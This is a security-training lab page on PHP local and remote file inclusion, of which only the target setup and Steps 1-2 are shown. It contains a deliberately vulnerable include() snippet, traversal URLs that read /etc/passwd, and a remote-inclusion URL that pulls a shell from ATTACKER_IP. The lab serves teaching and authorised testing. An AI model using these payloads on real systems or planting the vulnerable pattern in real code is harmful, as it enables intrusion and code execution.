Courses3 levels
Level 1 · Foundations11 courses
Level 2 · Core5 courses
Level 3 · Advanced5 courses
Labs8 topics
Library Practice exams AI Range Pricing Start free

Practice library / Web attacks

Lab · Medium · 1 hourFree account

Local & Remote File Inclusion

Path traversal, null byte injection, PHP wrappers, and remote file inclusion.

  • lfi
  • rfi
  • path-traversal
  • php-wrappers
  • log-poisoning
On this page 10 sections
  1. ·Build the target
  2. 1LFI vs RFI
  3. 2Basic LFI
  4. Locked: Path Traversal
  5. Locked: PHP Wrappers
  6. Locked: Log Poisoning → RCE
  7. Locked: RFI Attack
  8. Locked: LFI Wordlists & Automation
  9. Locked: Filter Bypasses
  10. Locked: High-Value LFI Targets

Before you start

File inclusion flaws let an attacker trick a web application into reading or executing a file it should not touch. A single traversal parameter can leak /etc/passwd, source code, and database credentials, and a poisoned log line then turns the same bug into remote code execution. Working against a small PHP target, you walk path traversal, PHP wrappers, log poisoning, and the remote variant that pulls an attacker's file straight into the running process.

Lab Objectives

  • Identify file inclusion vulnerabilities in PHP applications
  • Use path traversal to read sensitive server files
  • Use PHP wrappers to read source code and encode files
  • Escalate LFI to RCE via log file poisoning
  • Exploit Remote File Inclusion to execute hosted malicious code

Build the target

KaliRange hosts no targets, no virtual machines and no lab files. You run this lab on your own machine, against a small PHP application that you build. target.com below is the example name of this lab's target. Replace it with your own host or IP address.

Your target must have these parts:

  • A PHP page, a few directories deep (for example /var/www/pages/index.php), that builds an include() or require() path from a query parameter such as page, with no check on the value. This gives Step 2 and Step 3 their file read.
  • php.ini with allow_url_include = On, so the data:// wrapper in Step 4 and the remote include in Step 6 both work. Leave allow_url_fopen at its default; php://filter needs only that.
  • A web server (Apache or Nginx) whose access log records the User-Agent header as sent, and whose log file the PHP process can read through the same include() flaw. This gives Step 5 its log-poisoning path.
  • A second machine or a second terminal on your own network to host the file you include remotely in Step 6, reachable at an address you control (ATTACKER_IP below).

Build a target like this yourself: write the small vulnerable PHP page above, or install DVWA (Damn Vulnerable Web Application, by the DVWA team; PHP and MariaDB; runs with docker compose), which has a File Inclusion module that matches this lab closely. Take a snapshot of each virtual machine (or note the container state) before Step 1.

Authorized-lab only. Run every command in this lab only against a target that you own or have written permission to test. File inclusion against a system you do not own is unauthorised access in most countries.

Step 1: LFI vs RFI

File inclusion happens when PHP uses user input in include() or require() without proper validation.

# Vulnerable PHP code:
$page = $_GET['page'];
include($page . ".php");

# LFI — Local File Inclusion
# Read files that already exist on the server
http://target.com/index.php?page=../../../etc/passwd

# RFI — Remote File Inclusion
# Include a file hosted on YOUR server (executes it)
http://target.com/index.php?page=http://ATTACKER_IP/shell.php

# RFI requires: allow_url_include = On in php.ini (less common)
# LFI is far more common and still very dangerous

Step 2: Basic LFI

# Test with /etc/passwd (always exists on Linux)
http://target.com/index.php?page=/etc/passwd
http://target.com/index.php?file=/etc/passwd
http://target.com/index.php?include=/etc/passwd

# Common parameter names to test:
?page=   ?file=   ?doc=   ?template=
?path=   ?lang=   ?view=  ?read=

# If successful, you'll see /etc/passwd content:
# root:x:0:0:root:/root:/bin/bash
# daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin

Sign in to continue

7 more sections are for signed-in members. It is free: sign in with Google.

Related